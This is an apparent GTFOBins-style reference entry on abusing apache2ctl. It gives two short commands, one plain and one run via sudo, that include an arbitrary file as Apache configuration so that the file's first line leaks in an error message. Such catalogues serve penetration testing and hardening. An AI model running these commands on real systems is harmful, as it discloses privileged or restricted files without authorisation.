.. / apache2ctl

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• File read
• Sudo

This includes the file in the actual configuration file, the first line is leaked as an error message.

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• LFILE=file_to_read
  apache2ctl -c "Include $LFILE" -k stop

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

• LFILE=file_to_read
  sudo apache2ctl -c "Include $LFILE" -k stop